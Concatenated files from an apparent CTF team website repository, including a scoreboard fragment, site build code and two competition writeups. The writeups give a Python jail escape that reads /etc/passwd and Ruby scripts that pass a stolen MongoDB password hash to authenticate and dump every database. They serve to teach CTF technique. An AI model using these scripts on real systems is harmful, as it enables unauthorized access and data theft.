<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>cKz, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">60.</td><td>
<a id="blackbox-info-toggle">
liberty</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Amrita School of Engineering Amritapuri Campus, India</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">61.</td><td>
<a id="blackbox-info-toggle">
bobsleigh</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>none, France</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">62.</td><td>
<a id="blackbox-info-toggle">
Ufologists</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>TTI SFU, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">63.</td><td>
<a id="blackbox-info-toggle">
f@ck</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>f@ck, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">64.</td><td>
<a id="blackbox-info-toggle">
MagicHat</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Samara State Technical University, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">65.</td><td>
<a id="blackbox-info-toggle">
KEVA</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>TUSUR, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">66.</td><td>
<a id="blackbox-info-toggle">
SouthPark</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>ITMO, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">67.</td><td>
<a id="blackbox-info-toggle">
poop</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>swe, Germany</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">68.</td><td>
<a id="blackbox-info-toggle">
GogiBanchan</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>PKNU, Korea</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">69.</td><td>
<a id="blackbox-info-toggle">
Koibas</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>SSAU, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">70.</td><td>
<a id="blackbox-info-toggle">
bkitsec</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>dai hoc su pham, Other</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">71.</td><td>
<a id="blackbox-info-toggle">
bitmap</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Orenburg State University, Russia</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">72.</td><td>
<a id="blackbox-info-toggle">
UTDD</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>Universit of Texas, USA</i></td>
<td></td>
<td>0</td>
</tr>
<tr>
<td></td>
<td align="right">73.</td><td>
<a id="blackbox-info-toggle">
infectedchip</a>
<p id="blackbox-info" style="display:none"><i>| <u>Jailbreak</u> | <u>SHAdow dROP</u> | <u>Oh Those Admins!</u> | </i></p>
</td>
<td><i>infectedchip, USA</i></td>
<td></td>
<td>0</td>
</tr>
</tbody></table>
<file_sep>require 'nokogiri'
class ZColorize < Nanoc3::Filters::ColorizeSyntax
identifier :zcolorize
def run content, params = {}
syntax = params[:syntax] || :html
case syntax
when :html
klass = Nokogiri::HTML
when :xml, :xhtml
klass = Nokogiri::XML
else
raise RuntimeError, "unknown syntax: #{syntax.inspect} (expected :html or :xml)"
end
# Colorize
doc = klass.fragment(super)
doc.css('pre > code').each do |element|
element.parent.replace("<div class=\"highlight\">" + element.parent.to_s + "</div>")
end
method = "to_#{syntax}".to_sym
doc.send(method, :encoding => 'UTF-8')
end
end
<file_sep>---
title: PHDays2012 quals - pwn400 - python jail escape
author: zed
categories:
- writeup
---
## cat attack.log
~~~
#!python
>>> Reader.func_globals['sys']
<module 'sys' (built-in)>
>>> os=Reader.func_globals['sys'].modules['os']
os=Reader.func_globals['sys'].modules['os']
<module 'os' from '/usr/local/lib/python2.7/os.pyc'>
>>> f=os.open("/etc/passwd",444)
f=os.open("/etc/passwd",444)
6
>>> os.read(f,1024)
os.read(f,1024)
# $FreeBSD: src/etc/master.passwd,v 1.42.2.1.2.2 2012/11/17 08:36:10 svnexp Exp $
#
root:*:0:0:Charlie & flag 41f20268caa093e1b746e5ca750d3aa0:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/no
~~~
too easy.
#### related links
* [Zed's PHDays 2012 files & exploits](https://github.com/zed-0xff/ctf/tree/master/2012.phdays-quals)
* [Hack.lu CTF #7 - python jail](http://timiz0r.blogspot.ru/2012/11/hacklu-ctf-7-python-jail.html)
* [Hack.lu CTF - Python Jail Writeup](http://codezen.fr/2012/10/25/hack-lu-ctf-python-jail-writeup/)
<file_sep>#!/usr/bin/env ruby
# A few helpful tips about the Rules file:
#
# * The string given to #compile and #route are matching patterns for
# identifiers--not for paths. Therefore, you can’t match on extension.
#
# * The order of rules is important: for each item, only the first matching
# rule is applied.
#
# * Item identifiers start and end with a slash (e.g. “/about/” for the file
# “content/about.html”). To select all children, grandchildren, … of an
# item, use the pattern “/about/*/”; “/about/*” will also select the parent,
# because “*” matches zero or more characters.
preprocess do
prepare_nested_layouts layouts
members = YAML::load_file 'members.yml'
@items.each do |item|
if item.level == 0 && item.identifier =~ /^\/\d{4}-\d{2}-\d{2}-/
item[:kind] = 'article'
item[:created_at] = Time.parse(item.identifier[/\d{4}-\d{2}-\d{2}/])
if item[:author] && members[item[:author]]
item[:author_url] = members[item[:author]]['url']
end
end
end
end
compile 'css/*' do
# don’t filter or layout
end
compile 'resource/*' do
# don’t filter or layout
end
compile '*' do
if item.binary?
# don’t filter binary items
else
case item[:extension]
when 'markdown.erb'
filter :erb, :trim_mode => '<>'
filter :kramdown
when 'markdown'
filter :kramdown
when 'md'
filter :kramdown
when 'haml'
filter :haml
when 'textile'
filter :redcloth
else
filter :erb
end
filter :zcolorize, :default_colorizer => :pygmentize
if item.identifier =~ %r!/\d{4}-\d{2}-\d{2}!
layout 'post'
else
layout 'default'
end
end
end
route '*' do
if item.binary? || item.identifier['/css/'] || item.identifier['/resource/']
# Write item with identifier /foo/ to /foo.ext
item.identifier.chop + '.' + item[:extension]
else
# Write item with identifier /foo/ to /foo/index.html
item.identifier + 'index.html'
end
end
layout '*', :erb
<file_sep>module AchievementsHelper
def achievement_li article
r = '<li style="white-space:pre">'
r << article[:created_at].strftime("%Y-%m-%d ")
title = article[:title]
if title =~ /^(.+) - (\d+[a-z]{2} place)$/
title = "%-20s %20s" % [$1,$2]
end
r << link_to(title, article)
r << "</li>"
end
end
<file_sep>---
title: Yandex.Root 2012 - 3rd place
author: zed
categories:
- achievement
---
[](http://root.yandex.ru/var/log/game.log)
<file_sep>---
title: RWTH CTF 2011 -- hacking into mongodb
author: zed
categories:
- writeup
---
# look at running process first:
~~~
root@vulnbox:/opt/mongo183# ps ax|grep mongod
3047 ? Sl 0:00 /opt/mongo183/bin/mongod --dbpath /opt/mongo183/db1 --nohttpinterface --auth
~~~
So, it has db at **`/opt/mongo183/db1`** and is running with **`--auth`** switch (important!)
~~~
root@vulnbox:/opt/mongo183# cd /opt/mongo183
root@vulnbox:/opt/mongo183# ls -la db1
total 426436
drwxr-xr-x 2 mongo mongo 4096 Oct 1 11:23 .
drwxr-xr-x 5 root root 4096 Oct 1 01:12 ..
-rw------- 1 mongo mongo 67108864 Sep 30 21:11 admin.0
-rw------- 1 mongo mongo 134217728 Sep 30 19:02 admin.1
-rw------- 1 mongo mongo 16777216 Sep 30 21:11 admin.ns
-rwxr-xr-x 1 mongo mongo 5 Oct 1 11:23 mongod.lock
-rw------- 1 mongo mongo 67108864 Oct 1 05:26 nfsv5.0
-rw------- 1 mongo mongo 134217728 Sep 30 21:56 nfsv5.1
-rw------- 1 mongo mongo 16777216 Oct 1 05:26 nfsv5.ns
~~~
# clone db
~~~
root@vulnbox:/opt/mongo183# cp -r db1 db2
root@vulnbox:/opt/mongo183# /opt/mongo183/bin/mongod --dbpath /opt/mongo183/db2 --port 4000
Sat Oct 1 11:33:05 [initandlisten] MongoDB starting : pid=3098 port=4000 dbpath=/opt/mongo183/db2 64-bit
Sat Oct 1 11:33:05 [initandlisten] db version v1.8.3, pdfile version 4.5
Sat Oct 1 11:33:05 [initandlisten] git version: c206d77e94bc3b65c76681df5a6b605f68a2de05
Sat Oct 1 11:33:05 [initandlisten] build sys info: Linux bs-linux64.10gen.cc 2.6.21.7-2.ec2.v1.2.fc8xen #1 SMP Fri Nov 20 17:48:28 EST 2009 x86_64 BOOST_LIB_VERSION=1_41
Sat Oct 1 11:33:05 [initandlisten] waiting for connections on port 4000
Sat Oct 1 11:33:05 [websvr] web admin interface listening on port 5000
~~~
Now we started a copy of original DB, but at port 4000, (and admin interface on port 5000, but it's not important now)
# connect to cloned db
~~~
[zed@zmac ~]#mongo 10.11.77.2:4000
MongoDB shell version: 2.0.0
connecting to: 10.11.77.2:4000/test
> show dbs
admin 0.203125GB
local (empty)
nfsv5 0.203125GB
test (empty)
>
~~~
# dump users
~~~
> use admin
switched to db admin
> db.system.users.find()
{ "_id" : ObjectId("4e8091797db328fac9a4fb95"), "user" : "admin", "readOnly" : false, "pwd" : "<PASSWORD>" }
> use nfsv5
switched to db nfsv5
> db.system.users.find()
{ "_id" : ObjectId("4e8091a57db328fac9a4fb96"), "pwd" : "<PASSWORD>", "user" : "nfs" }
>
~~~
So the users are:
~~~
| db | user | pw hash |
----------------------------------------------------
| admin | admin | <PASSWORD> |
| nfsv5 | nfs | <PASSWORD> |
~~~
but how pw hash is calculated? maybe we can reverse it?
look at the [hash_password function in mongo ruby gem](https://github.com/mongodb/mongo-ruby-driver/blob/master/lib/mongo/util/support.rb#L43):
~~~
#!ruby
def hash_password(username, plaintext)
# 'plaintext' is a plaintext password (Captain Obvious)
Digest::MD5.hexdigest("#{username}:mongo:#{plaintext}")
end
~~~
so it can be bruteforced, if you have a lot of brute force :)
but we'll find another way in:
# standard way in (we don't know the password)
~~~
#!ruby
#!/usr/bin/env ruby
require 'mongo'
def dump h
db = Mongo::Connection.new(h[:host]).db(h[:db])
db.authenticate h[:user], h[:pass]
p db.collections.map(&:name)
end
host = ARGV.first || '10.11.77.2'
dump(
:host => host,
:db => "nfsv5",
:user => "nfs",
:pass => "<PASSWORD>"
)
~~~
running:
~~~
[zed@zmac ctf]#./1.rb
/Users/zed/.rvm/gems/ruby-1.9.2-p290/gems/mongo-1.4.0/lib/mongo/db.rb:139:in `issue_authentication': Failed to authenticate user 'nfs' on db 'nfsv5' (Mongo::AuthenticationError)
from /Users/zed/.rvm/gems/ruby-1.9.2-p290/gems/mongo-1.4.0/lib/mongo/db.rb:117:in `authenticate'
from ./1.rb:6:in `dump'
from ./1.rb:17:in `<main>'
~~~
# another way in (using known password hash)
~~~
#!ruby
#!/usr/bin/env ruby
require 'mongo'
# we override the hash_password() method,
# now it will simply return it's 2nd argument as a hash
module Mongo
module Support
def hash_password username, pass
pass
end
end
end
def dump h
db = Mongo::Connection.new(h[:host]).db(h[:db])
db.authenticate h[:user], h[:pass]
p db.collections.map(&:name)
end
host = ARGV.first || '10.11.77.2'
dump(
:host => host,
:db => "nfsv5",
:user => "nfs",
:pass => "<PASSWORD>"
)
~~~
running:
~~~
[zed@zmac ctf]#./2.rb
["system.users", "system.indexes", "keys", "blobs"]
~~~
**We're in!!** ^______^
# bonus script - dump all dbs using admin account
~~~
#!ruby
#!/usr/bin/env ruby
require 'mongo'
# we override the hash_password() method,
# now it will simply return it's 2nd argument as a hash
module Mongo
module Support
def hash_password username, pass
pass
end
end
end
def dump h
db = Mongo::Connection.new(h[:host]).db(h[:db])
db.authenticate h[:user], h[:pass]
puts "[.] databases: " + db.connection.database_names.inspect
db.connection.database_names.each do |dbname|
db.connection.db(dbname).collections.each do |c|
puts "[.] #{dbname} :: #{c.name}"
c.find().each do |object|
puts "\t#{object.inspect}"
end
end
end
end
host = ARGV.first || '10.11.77.2'
dump(
:host => host,
:db => "admin",
:user => "admin",
:pass => "<PASSWORD>"
)
~~~
example output:
~~~
[zed@zmac ctf]#./3.rb
[.] databases: ["admin", "nfsv5", "local"]
[.] admin :: system.users
{"_id"=>BSON::ObjectId('4e8091797db328fac9a4fb95'), "user"=>"admin", "readOnly"=>false, "pwd"=>"<PASSWORD>"}
[.] admin :: system.indexes
{"name"=>"_id_", "ns"=>"admin.system.users", "key"=>{"_id"=>1}, "v"=>0}
{"name"=>"user_1", "ns"=>"admin.system.users", "key"=>{"user"=>1}, "unique"=>false, "v"=>0}
[.] nfsv5 :: system.users
{"_id"=>BSON::ObjectId('4e8091a57db328fac9a4fb96'), "pwd"=>"<PASSWORD>", "user"=>"nfs"}
{"_id"=>BSON::ObjectId('4e86212f78b78441e4d08fc1'), "user"=>"foo", "readOnly"=>false, "pwd"=>"<PASSWORD>"}
{"_id"=>BSON::ObjectId('4e86215578b78441e4d08fc2'), "user"=>"foo1", "readOnly"=>false, "pwd"=>"<PASSWORD>"}
[.] nfsv5 :: system.indexes
{"name"=>"_id_", "ns"=>"nfsv5.system.users", "key"=>{"_id"=>1}, "v"=>0}
{"name"=>"_id_", "ns"=>"nfsv5.keys", "key"=>{"_id"=>1}, "v"=>0}
{"name"=>"_id_", "ns"=>"nfsv5.blobs", "key"=>{"_id"=>1}, "v"=>0}
{"name"=>"user_1", "ns"=>"nfsv5.system.users", "key"=>{"user"=>1}, "unique"=>false, "v"=>0}
[.] nfsv5 :: keys
{"_id"=>BSON::ObjectId('4e81a9a7693475c5c73f9849'), "verify"=>"d2800dbe", "bids"=>[], "key"=>"3ed3c892"}
{"_id"=>BSON::ObjectId('4e81aa5b693475c5c73f984b'), "verify"=>"ee7b0734", "bids"=>[], "key"=>"25eb04d6"}
{"_id"=>BSON::ObjectId('4e8604785d5417b1e0291608'), "verify"=>"8ba99958", "bids"=>[], "key"=>"7cd83777"}
{"_id"=>BSON::ObjectId('4e8605b75d5417b1e029160a'), "verify"=>"b9e38a48", "bids"=>[], "key"=>"809d543d"}
{"_id"=>BSON::ObjectId('4e8606e35d5417b1e029160b'), "verify"=>"2e5255fb", "bids"=>[], "key"=>"acab1b53"}
{"_id"=>BSON::ObjectId('4e86080f5d5417b1e029160d'), "verify"=>"d74f674a", "bids"=>[], "key"=>"bfea4ead"}
{"_id"=>BSON::ObjectId('4e86093b5d5417b1e029160f'), "verify"=>"74593b38", "bids"=>[], "key"=>"64012573"}
{"_id"=>BSON::ObjectId('4e860a675d5417b1e0291611'), "verify"=>"69bd6942", "bids"=>[], "key"=>"94cc7fce"}
{"_id"=>BSON::ObjectId('4e860b945d5417b1e0291613'), "verify"=>"fba79512", "bids"=>[], "key"=>"8dd49386"}
{"_id"=>BSON::ObjectId('4e860cc05d5417b1e0291615'), "verify"=>"a448a04e", "bids"=>[], "key"=>"22af4db3"}
{"_id"=>BSON::ObjectId('4e860df85d5417b1e0291617'), "verify"=>"1e98c63f", "bids"=>[], "key"=>"ed19d281"}
{"_id"=>BSON::ObjectId('4e860f255d5417b1e0291619'), "verify"=>"5d5a168b", "bids"=>[], "key"=>"a665403b"}
{"_id"=>BSON::ObjectId('4e8610515d5417b1e029161b'), "verify"=>"af277a9a", "bids"=>[], "key"=>"8d205fb7"}
{"_id"=>BSON::ObjectId('4e86117d5d5417b1e029161c'), "verify"=>"107040e5", "bids"=>[], "key"=>"475ce61e"}
{"_id"=>BSON::ObjectId('4e8612a95d5417b1e029161e'), "verify"=>"587eafbe", "bids"=>[], "key"=>"c1033e34"}
{"_id"=>BSON::ObjectId('4e8613e05d5417b1e0291620'), "verify"=>"b7b813f9", "bids"=>[], "key"=>"2bbf100b"}
{"_id"=>BSON::ObjectId('4e86150c5d5417b1e0291621'), "verify"=>"d1d17995", "bids"=>[], "key"=>"462f5aa0"}
{"_id"=>BSON::ObjectId('4e8616385d5417b1e0291622'), "verify"=>"e653921f", "bids"=>[], "key"=>"0723f952"}
{"_id"=>BSON::ObjectId('4e8617645d5417b1e0291623'), "verify"=>"a1bf9186", "bids"=>[], "key"=>"d49e79d7"}
{"_id"=>BSON::ObjectId('4e8618905d5417b1e0291625'), "verify"=>"d8ba597c", "bids"=>[], "key"=>"7f7171d3"}
{"_id"=>BSON::ObjectId('4e8619bc5d5417b1e0291627'), "verify"=>"7cc3ec7a", "bids"=>[], "key"=>"d564672b"}
{"_id"=>BSON::ObjectId('4e861ae85d5417b1e0291629'), "verify"=>"027c69b5", "bids"=>[], "key"=>"dad1434e"}
{"_id"=>BSON::ObjectId('4e861c154159a14fc0943dc5'), "verify"=>"e85f8e08", "bids"=>[], "key"=>"8f4827a8"}
{"_id"=>BSON::ObjectId('4e861d417ed1603745bfac30'), "verify"=>"4ad40f64", "bids"=>[], "key"=>"1ea7e633"}
{"_id"=>BSON::ObjectId('4e861e707ed1603745bfac31'), "verify"=>"ee877f04", "bids"=>[], "key"=>"398ef2fb"}
{"_id"=>BSON::ObjectId('4e863aa5c8a6838bfb7bc22d'), "verify"=>"41759097", "bids"=>[], "key"=>"8365f69e"}
{"_id"=>BSON::ObjectId('4e863bd5c8a6838bfb7bc22e'), "verify"=>"12b94e6b", "bids"=>[], "key"=>"eff5e137"}
{"_id"=>BSON::ObjectId('4e863cfdc8a6838bfb7bc230'), "verify"=>"3fc115ef", "bids"=>[], "key"=>"d4109de7"}
{"_id"=>BSON::ObjectId('4e866e8b9b8fcb74e830896f'), "verify"=>"d13cd703", "bids"=>[], "key"=>"42e8c78a"}
{"_id"=>BSON::ObjectId('4e866fae9b8fcb74e8308970'), "verify"=>"2376231b", "bids"=>[], "key"=>"c078fe13"}
{"_id"=>BSON::ObjectId('4e8670de9b8fcb74e8308972'), "verify"=>"3d0704d1", "bids"=>[], "key"=>"8f0cf1ef"}
{"_id"=>BSON::ObjectId('4e8672079b8fcb74e8308974'), "verify"=>"894fd139", "bids"=>[], "key"=>"c851b9c1"}
{"_id"=>BSON::ObjectId('4e8673479b8fcb74e8308975'), "verify"=>"0e774564", "bids"=>[], "key"=>"a83b8deb"}
{"_id"=>BSON::ObjectId('4e8674739b8fcb74e8308977'), "verify"=>"28b590a4", "bids"=>[], "key"=>"2e2725f7"}
{"_id"=>BSON::ObjectId('4e86759f9b8fcb74e8308979'), "verify"=>"1590553f", "bids"=>[], "key"=>"22bffe29"}
{"_id"=>BSON::ObjectId('4e8676cb9b8fcb74e830897a'), "verify"=>"14eb9011", "bids"=>[], "key"=>"4f699a01"}
{"_id"=>BSON::ObjectId('4e8677f79b8fcb74e830897c'), "verify"=>"deaebf76", "bids"=>[], "key"=>"b63dc55f"}
{"_id"=>BSON::ObjectId('4e8679239b8fcb74e830897e'), "verify"=>"57cdc9eb", "bids"=>[], "key"=>"97939493"}
{"_id"=>BSON::ObjectId('4e867a509b8fcb74e830897f'), "verify"=>"f236ddfd", "bids"=>[], "key"=>"3abf67db"}
{"_id"=>BSON::ObjectId('4e867b7c9b8fcb74e8308981'), "verify"=>"1d020b40", "bids"=>[], "key"=>"9fe13fa9"}
{"_id"=>BSON::ObjectId('4e867ca89b8fcb74e8308983'), "verify"=>"202c025d", "bids"=>[], "key"=>"8faae597"}
{"_id"=>BSON::ObjectId('4e867dd49b8fcb74e8308985'), "verify"=>"033cc20c", "bids"=>[], "key"=>"069b7d59"}
{"_id"=>BSON::ObjectId('4e867f039b8fcb74e8308987'), "verify"=>"149efbb0", "bids"=>[], "key"=>"6d097e35"}
{"_id"=>BSON::ObjectId('4e86802c9b8fcb74e8308989'), "verify"=>"4da81d4b", "bids"=>[], "key"=>"643a9c08"}
{"_id"=>BSON::ObjectId('4e8681589b8fcb74e830898a'), "verify"=>"55d76527", "bids"=>[], "key"=>"d55243fb"}
{"_id"=>BSON::ObjectId('4e86828d9b8fcb74e830898c'), "verify"=>"dd9b1265", "bids"=>[], "key"=>"d9f75fdd"}
{"_id"=>BSON::ObjectId('4e8683b09b8fcb74e830898e'), "verify"=>"e94bd12d", "bids"=>[], "key"=>"13c73325"}
{"_id"=>BSON::ObjectId('4e8684dc9b8fcb74e830898f'), "verify"=>"b85a25e0", "bids"=>[], "key"=>"114ded8b"}
{"_id"=>BSON::ObjectId('4e8686099b8fcb74e8308991'), "verify"=>"a1f983c0", "bids"=>[], "key"=>"310d0503"}
{"_id"=>BSON::ObjectId('4e8687359b8fcb74e8308992'), "verify"=>"ea24a190", "bids"=>[], "key"=>"4c0dbc17"}
{"_id"=>BSON::ObjectId('4e8688619b8fcb74e8308993'), "verify"=>"c8f4e16b", "bids"=>[], "key"=>"a4bfea6e"}
[.] nfsv5 :: blobs
{"_id"=>BSON::ObjectId('4e81a9ac693475c5c73f984a'), "owner"=>"3ed3c892", "bid"=>"801a77d1", "data"=>"a05a6fb2c9b786222a0e0dfdf53321ce7b9b5346"}
{"_id"=>BSON::ObjectId('4e8604805d5417b1e0291609'), "owner"=>"7cd83777", "bid"=>"a3f764b6", "data"=>"8c68bf9e6c5f93ad50548dcc0fbbfb91e7c806db"}
{"_id"=>BSON::ObjectId('4e8606ea5d5417b1e029160c'), "owner"=>"acab1b53", "bid"=>"11ac8751", "data"=>"5be4bad598ab75dc10f93bf25f19b5e81952101c"}
{"_id"=>BSON::ObjectId('4e8608165d5417b1e029160e'), "owner"=>"bfea4ead", "bid"=>"64d744c9", "data"=>"59134f9faadec9a470c44fe71733b4cf405ab062"}
{"_id"=>BSON::ObjectId('4e8609425d5417b1e0291610'), "owner"=>"64012573", "bid"=>"d1c1c5a9", "data"=>"661fcf9fd537c2370ccfd1172ce956cac7fb3c98"}
{"_id"=>BSON::ObjectId('4e860a6b5d5417b1e0291612'), "owner"=>"94cc7fce", "bid"=>"63c2cac7", "data"=>"46100a20272606bbd1b0826c5da2cdd9bf6f390d"}
{"_id"=>BSON::ObjectId('4e860b9a5d5417b1e0291614'), "owner"=>"8dd49386", "bid"=>"a2176f83", "data"=>"653ffad8c2375ace76f20130e0fcd3541ec46ab3"}
{"_id"=>BSON::ObjectId('4e860cc35d5417b1e0291616'), "owner"=>"22af4db3", "bid"=>"117093dd", "data"=>"0c4e03117b15e4f4c10ffbe8e8079bd052fa67f9"}
{"_id"=>BSON::ObjectId('4e860dfc5d5417b1e0291618'), "owner"=>"ed19d281", "bid"=>"6b84c153", "data"=>"39bc62c1a5d389ae0b64f2c6354ea796aaac7615"}
{"_id"=>BSON::ObjectId('4e860f285d5417b1e029161a'), "owner"=>"a665403b", "bid"=>"4b392f90", "data"=>"5fd75354732aa601ca17e5985499a3fb000e0c9c"}
{"_id"=>BSON::ObjectId('4e8611845d5417b1e029161d'), "owner"=>"475ce61e", "bid"=>"9cd8e7e5", "data"=>"96ff39bbd928f70a5df9cb6cfc16ce56f6f7f11d"}
{"_id"=>BSON::ObjectId('4e8612ac5d5417b1e029161f'), "owner"=>"c1033e34", "bid"=>"da4aa78c", "data"=>"69ad5b745b000b9197b9988168a420e960a8adc2"}
{"_id"=>BSON::ObjectId('4e8617725d5417b1e0291624'), "owner"=>"d49e79d7", "bid"=>"5f38b27a", "data"=>"f8eeb580dc36ddd54ec801c1056d4c6ee92da97e"}
{"_id"=>BSON::ObjectId('4e8618a45d5417b1e0291626'), "owner"=>"7f7171d3", "bid"=>"1bfaac39", "data"=>"1da8f4d5b8698ea9b99c0e901de04cf94c5d4e64"}
{"_id"=>BSON::ObjectId('4e8619c35d5417b1e0291628'), "owner"=>"d564672b", "bid"=>"3a7e1cc7", "data"=>"51f6612e47fcb9d071fd3c9a842759a11f8e9e1f"}
{"_id"=>BSON::ObjectId('4e861af25d5417b1e029162a'), "owner"=>"dad1434e", "bid"=>"ea5c4180", "data"=>"d75af92aa0dda572362df79a7d8d180369de73e5"}
{"_id"=>BSON::ObjectId('4e861c1e4159a14fc0943dc6'), "owner"=>"8f4827a8", "bid"=>"1e82a820", "data"=>"6869c8cafa54ece9a73e2b79c679d39b67cbc731"}
{"_id"=>BSON::ObjectId('4e861e757ed1603745bfac32'), "owner"=>"398ef2fb", "bid"=>"2922c716", "data"=>"ad45674eb83381776ce263498cecca7795c6595e"}
{"_id"=>BSON::ObjectId('4e863bdbc8a6838bfb7bc22f'), "owner"=>"eff5e137", "bid"=>"0e6710ff", "data"=>"d154554d572b14742d70bf31712f9a03854cc962"}
{"_id"=>BSON::ObjectId('4e863d11c8a6838bfb7bc231'), "owner"=>"d4109de7", "bid"=>"debf34a4", "data"=>"0bea8dc910822953cc4da5552bdbdeffb3412af5"}
{"_id"=>BSON::ObjectId('4e866fba9b8fcb74e8308971'), "owner"=>"c078fe13", "bid"=>"bcb71317", "data"=>"5be8d0ac644f87489a0bd5f2e52780c74b523a22"}
{"_id"=>BSON::ObjectId('4e8670e69b8fcb74e8308973'), "owner"=>"8f0cf1ef", "bid"=>"bcac6e61", "data"=>"447ca6085116a9d2be377c53a8caaa6a159ed867"}
{"_id"=>BSON::ObjectId('4e86734e9b8fcb74e8308976'), "owner"=>"a83b8deb", "bid"=>"f17292fe", "data"=>"e8dd3ef6238a08128348d0ef21552afb93984861"}
{"_id"=>BSON::ObjectId('4e8674809b8fcb74e8308978'), "owner"=>"2e2725f7", "bid"=>"628a9a49", "data"=>"b59a03eb404025a2a23cd92842ba5816ddbef5c2"}
{"_id"=>BSON::ObjectId('4e8676d49b8fcb74e830897b'), "owner"=>"4f699a01", "bid"=>"28793b6e", "data"=>"f759714a9679a1cbffc60d58bbb53f6d14522dc4"}
{"_id"=>BSON::ObjectId('4e8678019b8fcb74e830897d'), "owner"=>"b63dc55f", "bid"=>"c54e8c6a", "data"=>"632bcf90a66467d047bd5223d2968331f047bdfb"}
{"_id"=>BSON::ObjectId('4e867a569b8fcb74e8308980'), "owner"=>"3abf67db", "bid"=>"6c9f548e", "data"=>"90ef7231d12e4dfc529f5e65b2d88f06c1812086"}
{"_id"=>BSON::ObjectId('4e867b8e9b8fcb74e8308982'), "owner"=>"9fe13fa9", "bid"=>"59a4f44a", "data"=>"19f9d653540e0623d22b7924b776779fac7ae7df"}
{"_id"=>BSON::ObjectId('4e867cb09b8fcb74e8308984'), "owner"=>"8faae597", "bid"=>"349bbe0a", "data"=>"9530dc2f72d6b07c06c021cc4cd1298bb1f27d43"}
{"_id"=>BSON::ObjectId('4e867dda9b8fcb74e8308986'), "owner"=>"069b7d59", "bid"=>"8dc2151b", "data"=>"d66dbd0dceba965b99e16dfe5ec4d13e90b895fa"}
{"_id"=>BSON::ObjectId('4e867f159b8fcb74e8308988'), "owner"=>"6d097e35", "bid"=>"d3db5b5e", "data"=>"43533ad2d4962d6b338b03ea8867130a1fa47eb0"}
{"_id"=>BSON::ObjectId('4e86815b9b8fcb74e830898b'), "owner"=>"d55243fb", "bid"=>"e41adecd", "data"=>"ebe4ee43029ac1edebe53aee2b0e72334a17b370"}
{"_id"=>BSON::ObjectId('4e8682a19b8fcb74e830898d'), "owner"=>"d9f75fdd", "bid"=>"083aa9ba", "data"=>"6b1b73d4323ebb3edb50c26b01e9dc4e44e50d5f"}
